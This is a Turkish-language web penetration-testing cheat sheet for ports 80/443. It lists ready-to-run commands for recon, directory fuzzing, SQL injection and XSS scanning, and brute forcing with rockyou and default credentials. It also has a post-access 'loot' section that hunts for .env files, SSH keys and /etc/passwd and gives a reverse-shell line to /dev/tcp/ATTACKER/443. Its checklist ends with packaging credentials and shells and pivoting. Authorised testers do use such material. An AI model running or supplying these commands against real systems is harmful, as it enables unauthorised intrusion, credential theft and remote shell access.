80,443 - Pentesting Web Methodology

Web methodology

Web saldırı metodolojisi: yüzey haritalama → auth/session → injection/IDOR/upload → etki kanıtı. Her adım yeniden üretilebilir komutla ilerler.

Metodoloji

1. Kapsam ve teknoloji fingerprint.

2. İçerik/endpoint keşfi.

3. Auth ve iş mantığı.

4. Yüksek etkili PoC zinciri.

Recon

httpx -u https://TARGET -title -tech-detect -status-code

whatweb https://TARGET

wafw00f https://TARGET

nuclei -u https://TARGET -tags tech

Discovery

ffuf -u https://TARGET/FUZZ -w raft-medium-directories.txt -mc 200,204,301,302,403

katana -u https://TARGET -d 3 -o urls.txt

gau TARGET | uro | tee hist.txt

Auth & abuse

sqlmap -u 'https://TARGET/item?id=1' --batch --risk=2

dalfox url 'https://TARGET/search?q=test'

nuclei -u https://TARGET -t cves/ -severity

ffuf -u https://TARGET/api/FUZZ -w api-words.txt -H 'Authorization: Bearer TOKEN'

Derin enum

,443 - Web Methodology için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p80,443 TARGET

nmap -Pn -p80 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,443 - Web Methodology

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80

nmap -p80 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit Web

msfconsole -q -x 'search Web; exit'

nuclei -u https://TARGET:80 -t cves/ -silent -severity || true

nuclei -u http://TARGET:80 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 80

printf '
' | timeout 3 nc -nv TARGET 80

curl -vk --http1.0 http://TARGET:80/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

fingerprint → content discovery → vuln class PoC → impact chain